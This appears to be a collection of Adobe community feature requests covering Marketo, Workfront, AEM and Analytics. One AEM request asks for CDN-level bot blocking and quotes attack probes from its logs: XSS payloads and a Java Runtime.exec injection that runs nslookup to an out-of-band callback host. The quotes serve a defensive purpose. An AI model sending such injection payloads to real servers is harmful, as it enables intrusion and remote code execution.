Product Communities

A beneficial feature would be to be able to resend users with updated information in SFDC without deleting and updating in SFDC side. Now the connection only let`s you send the first time a lead and after you get an error of  Failed to update SFDC{INSUFFICIENT_ACCESS_OR_READONLY: insufficient access rights on object id}

Having the source/reason attributes set to dynamic chat for the  updates made by dynamic chat will help us filter on the field values updated specifically by the dynamic chat in the SL/triggers. Currently the source in the field updates made by dynamicChat in activity shows Web Service API, it’d be great if we could say if the values were updated by the dynamicChat  specifically. Additionally, it'd also be great if dynamic chat is added as one of the input sources that we could check-mark to block updates in the field management section on the respective fields, if need be. There could be use-cases where we would wanna capture the data from dynamic chat for a new person but not update if there's already a non-empty value present on an existing person in the Marketo.  

Request for Feature Enhancement (RFE) Summary: Search should support fuzzy search Use-case: Portal User is searching for specific pages on portal Current/Experienced Behavior: Search Index just returns exact matches Improved/Expected Behavior: Search Index returns fuzzy search matches as well Environment Details (AEM version/service pack, any other specifics if applicable): 2023.3.11382.20230315T073850Z Customer-name/Organization name: Telefonica Germany B2B Screenshot (if applicable):     Code package (if applicable):  

Description - There are certain settings that can be set on a Team, Group, or user profile, such as layout template. The current behavior is to use the priority of user, then team or group (not sure which takes priority). The problem with this default priority is that a Team cannot override the member's layout setting, making it impossible to standardize by team. The admin has to remove the individual user's layout template setting in order for the team's layout to apply.   Why is this feature important to you - Cannot apply a standard using Team due to the current fixed priority order How would you like the feature to work - Add a setting to define the priority order between Company, Group, Team, User. The setting would allow the admin to set the order of priority for specific settings. Not all settings should have the same priority. Schedule would have a different priority order.   Current Behaviour - Fixed priority order for layout template selection, so cannot standardiz

Some thoughts to the improvement of the Gantt functionality:Support different colours within the Bars. For example. If the assigned people belong to different companies. That would be an easy way to share a project Gantt with customers as they would notice their tasks quickly due to the other colour.Settings:"Show task name in bar" checkbox"Show milestones + milestone title""Show vertical line for TODAY" (additionally to the green marks that are already in the cart)Export:Adjustment of the columns according to the content.If the project duration is very long, don't break the line. Please support a vertical scroll able PDF that shows the lines in one.

Hello!As our Project Managers work on different projects and have to switch often between them it would be great if Views an Filters could be set per project. Means for Project A I want to set Filter 1 and for Project B Filter 2. And if I switch between the projects the last filter selected on the project should remain set.If I am in the Gantt view and reload the project I would expect that the Gantt is opened again.ThxStephan 

Description -Why is this feature important to you - It will help to create different criteria based segment. How would you like the feature to work -Requesting additional segment functions to make it easier to create all the segments from the AEP Segment Builder UI. Function Description 1: get the month of the date and equals it to the next monthCalculation 1 : month(date) = next monthFunction Description 2: perform calculation on integers such as subtraction and division. It would useful to input an integer without having the attribute (i.e. input 365 to divide for one year)Calculation 2: (integer – integer2) / 365(input integer)Function Description 3: get the month of the date attribute and equals it to the month of another date attributeCalculation 3: month(date) = month(date2)Current Behaviour - Such function are not supported

Request for Feature Enhancement (RFE) Summary: We want to have a redirect tool that's built-in with AEM. Not ACS or opensourcee code Use-case: Currently, the only way to have a redirect tool in AEM is to install the ACS commons redirect manager Current/Experienced Behavior: None. There is no built-in redirect tool within AEM. ACS is the only way Improved/Expected Behavior: - Bulk upload and delete- Search- Export of lists- Suggest unnecessary redirects (chain redirects) - AI capability - Suggest how redirects can be consolidated (like suggesting the use of regular expressions for multiple rules that are similar)- Capacity for 500,000 rules Environment Details (AEM version/service pack, any other specifics if applicable): AEMaCS Customer-name/Organization name: N/A Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Would like to add the following feature: Block some known Bot Requests by IP in CDN in AEMaaCS. Ignoring URL Parameters at CDN is currently not possible. Use-case: We are getting a lot of Bot Requests in our Dispatcher and Publish Logs. Ideally we would like to block these requests at CDN itself. These requests are coming from multiple IP and are impacting the performance of the application.Request Types - 1. /Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E2./$%7b@java.lang.Runtime@getRuntime().exec(%22nslookup%20cec9ut6t9v7cv1g00010h8moeyzz4cmdk.oast.live%22)%7d/3. /pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3EThere should be a way to block the IP or perform the action at WAF layer to block these bots. Current/Experienced Behavior: The requests are blocked at Dispatcher currently but the logs are choked with these requests. Improved/Exp

Request for Feature Enhancement (RFE) Summary: Prevent the browser caching of (potentially) sensitive data (e.g. some personal data of the logged-in user) Use-case: AEMaCS Author sets the Cache-Control header with a directive that does not prevent the caching of sensitive data in the user’s browser. An attacker gaining access to the browser of a user with which sensitive information has been retrieved can get insights into the data by reading the cache. Current/Experienced Behavior: The application does not prevent the caching of (potentially) sensitive data. In the responses, the value of the Cache-Control header is set to ”no-cache”, as can be seen in the following screen- shot (please check the attached report.) The “no-cache” instruction only ensures that the browser validates that the content is up-to-date on the server before using the cache. A look into the browser cache shows that sensitive data (e.g. some personal data of the logged-in user) is stored there. Improve

Description - Refresh icon / button on the Updates section to see if any instant replies has been received.Why is this feature important to you - saves time without having the need to refresh the page or go elsewhere in the site.How would you like the feature to work - like the Dashboard report refresh, a refresh button on the UPdates / comments section wlill be very useful.Current Behaviour - when the comments are made, message is sent to the person intended to. However his//her reply is not seen unless we refresh or come back again on the same page later.

Request for Feature Enhancement (RFE) Summary: When we search any asset on author / Filter the assets, post doing that when we select single/multiple assets, can't see create option and hence unable to trigger the workflow for assets. Can we enable create option so business able to trigger the workflow. Use-case: 1. Business go to author 2. Search the assets / Apply filter and search the assets. 3. Select list of assets post searching. 4. Business looking for the option to trigger the workflow. (to run on single/multiple assets) Current/Experienced Behavior: Create option not visible. (So workflow option unable to use) Improved/Expected Behavior: If we can enable the create option, business can trigger workflow on searched/filtered assets. Environment Details (AEM version/service pack, any other specifics if applicable): AEM 6.5.5 ( Also checked in 6.5.7 same behaviour) Customer-name/Organization name: Hershey's Screenshot (if applicable):    Code package (if appli

Proposing to have 'general time' included within actual hours on the Resource Planner page. While planned and actual project hours tell the story of resource utilization, the missing piece to this story is seeing how general time spent on non project work (administration, training, research, etc.) impacts each users overall utilization. It would also be nice to have the option to filter types of hours. For example, filtering to exclude all general time or specific general time categories. This would give everyone more flexibility in using the resource planner based on how they work and what they consider actual time for utilization/capacity purposes.

Description - The new Boards feature can be configured per layout to show or not show. However, the task menu option always shows "Add to Boards" and "Add to Workstreams", even though users do not have access to boards. This creates confusion and potentially issues of tasks being moved without a way to recover or review. Why is this feature important to you - We cannot fully control access to Boards currently. How would you like the feature to work - If a user's layout does not include Boards, there should not be any options related to Boards 

Description - The current local search feature only searches within the current page showing. With a 2k record limit per page, if there are multiple pages of data, the local search does not work to filter the resulting list to just the matching search items. This mean the search is useless since I still have to page through the list to get to the page that might have a local search match.   Why is this feature important to you - This is an important feature because it allows searching within the current object without having to page (search for projects in the entire project list or a resource within the entire resource list)   How would you like the feature to work - It should do a server-side filter of the search string rather than a local filter on the current page of data.   Current Behaviour - Anything in the search box will only match records within the current page of data.

I'm aware that Workfront Reporting Canvas will be available in coming months, but it would be nice to have Workfront API working with Viz tools like Power BI and Tableau.

The new mobile scorecards look great, but SSO organizations that need to be logged in to their corporate network, can't utilize this.I'd like to see Adobe create a mobile device authentication that links a SSO user to a mobile device.For example, If I had scorecards to view in the app (I had either created or they were shared with me in my primary account)  perhaps I could access a tool in Adobe Analytics to "Link a Mobile Device".  I would submit a phone number, and a unique link would be sent to my phone to authenticate my phone's Adobe App belongs to my SSO account (by way of a shadow account, perhaps). This shadow account would only have access to scorecards in the app, and perhaps needs to be reauthenticated every 30-90 days based on your company's infoSecurity policies. However... if your SSO account is disabled, your scorecard stops working immediately as well. 

Description - I think it would be handy if a calculated metric indicated an annotation when one of the metrics inside the calculated metric has an annotation. Having to add calculated metrics to the annotation list can be cumbersome, and users across our enterprise may have made their own calculated metric and are unaware of the annotation on one of the building-block metrics.  Why is this feature important to you - I think this would provide context to any abnormalities seen using calculated metrics, especially to those who aren't in the data everyday.  How would you like the feature to work - I would like annotations to show up for Calculated Metrics based on the building-blocks of said calculated metric. For example,  I have a calculated metric of "Room Nights per Order" (room nights / orders) that showed a historical dip with no annotation available. I added in the metrics Room Nights and Orders on their own to the table, and once added the annotations

Request for Feature Enhancement (RFE) Summary: Enable cropping of WebP images in AEM Assets. Use-case: Enable cropping of WebP images in AEM Assets. Current/Experienced Behavior: Cropping of WebP images is currently not supported in AEM. When trying to Edit / crop it shows the following message:  "Editing is not supported for this type of assets." Improved/Expected Behavior: Cropping of WebP is possible. Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a cloud service. Customer-name/Organization name: Hugo Boss AG Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: Would like the following feature - Cache Hit Ratio to be refined as a factor for Optimization in BPO Reports Use-case: We received a BPO Report highlighting Cache Hit Ratio of 80% against Adobe's recommendation of 90%.The implementation is AEMaaCS thus using Adobe's Fastly CDN. The metric is also calculated at CDN end. However, a large number of requests which are received at Dispatcher are not cache able. (Health Check based requests like /system/probes/health, /system/probes/live, /system/probes/ready and Bot Based Requests like GET /3x.php/?3x=3x which are blocked at Dispatcher) Current/Experienced Behavior: The metric calculated at CDN would take into account both bot based requests which are blocked at Dispatcher (but not CDN!) and Health Check based requests which are not cached and served to Publish instances via Dispatcher. Improved/Expected Behavior: The metric should exclude these service based requests (if not alre

Request for Feature Enhancement (RFE) Summary: Would like to add the following feature: Extend support for videos and content fragments to be part of Connected Assets. Use-case: We would like to establish a remote DAM instance as single source of truth across all environments. The DAM instance will store not only images and documents but videos & content fragments as well. Current/Experienced Behavior: Videos & Content Fragments are not part of Connected Assets. Improved/Expected Behavior: Videos & Content Fragments should be accessible from Remote DAM Instance. Environment Details (AEM version/service pack, any other specifics if applicable): AMS - AEM 6.5.11 Customer-name/Organization name: TA Digital Screenshot (if applicable):   Code package (if applicable):   @kautuk_sahni - This might not be a new feature request but would like to know the challenges involved in implementing this idea if it is categorized as non-feasible.

Request for Feature Enhancement (RFE) Summary: Related case #E-000849947 Use-case: Customer leverages AEM Assets & Screens on cloud service and AEM Sites on Managed service. They use Connected Assets to sync images from Assets CS to AEM Sites Managed service for use in component creation via drag & drop.   Currently, they see all images that they have permission to on Assets cloud service. Including images that are not published to Dynamic media / scene7.    More details can be found on #E-000849947 Current/Experienced Behavior: There is no way to filter these images with status Published / Unpublished. As a result they see too many images on the connected assets rail. Improved/Expected Behavior: Filtering for published & unpublished assets is necessary to be able to work efficiently on connected asset rail. Environment Details (AEM version/service pack, any other specifics if applicable):   Customer-name/Organization name:   Screen

Request for Feature Enhancement (RFE) Summary: configuration of columns orders in list views Use-case: in the view settings or directly in the table results, be able to change column order as prefered Current/Experienced Behavior: in the settings we can only sort by some of metadata  Improved/Expected Behavior: the expected behavior is to be able to order as we want the different columns Environment Details (AEM version/service pack, any other specifics if applicable): AEM as a Cloudservice Customer-name/Organization name: Louis Vuitton Screenshot (if applicable):   Code package (if applicable):  

Request for Feature Enhancement (RFE) Summary: When deploying to Production from the stage pipeline, if the user clicks Resume manually or Approve that a popup dialog would appear to request the user to confirm the deployment to Production.  Use-case: If the user accidentally clicks on Resume manually or accidently clicks Approve Current/Experienced Behavior: The pipeline will deploy to Production without giving the user the option to cancel Improved/Expected Behavior: Provide a popup dialog box giving the user the option to cancel or proceed. Environment Details (AEM version/service pack, any other specifics if applicable): Your application code has been tested for quality and compiled into build artifacts REPOSITORY: OLDDOMINIONFREIGHTLINEINCProgram-p18552 BRANCH: release/WSP.2023.3 GIT TAG: 2023.303.1154227.0002373591 COMMIT: a97608cd708a9d72cfe36cfad945d55ff217fd9e   Your built artifacts will be combined with the base AEM 2023.1.10912.20230130T173736

Request for Feature Enhancement (RFE) Summary:   Use-case: Currently we have several projects / brands that are deployed on AEM, in the case of small fixes we are obliged to deploy all the projects /brands even if the fix concerns only one project / brand or a small module , which is very impactful in terms of deployment time if we consider that we deploy several times a day.   We hope to have a way to deploy by project / brand instead of a global deployment, or even better a deployment of modules, sub-projects, or a selection of specific files, which will optimize the deployment time that we currently has (15 to 20 minutes on average). Current/Experienced Behavior: Deployment average 15 to 20 min Improved/Expected Behavior: Deployment average 10 min (depending of the files deployed) Environment Details (AEM version/service pack, any other specifics if applicable): Dev, QA, UAT, Stage, PROD Customer-name/Organization name: Accor Screenshot (if applicable): &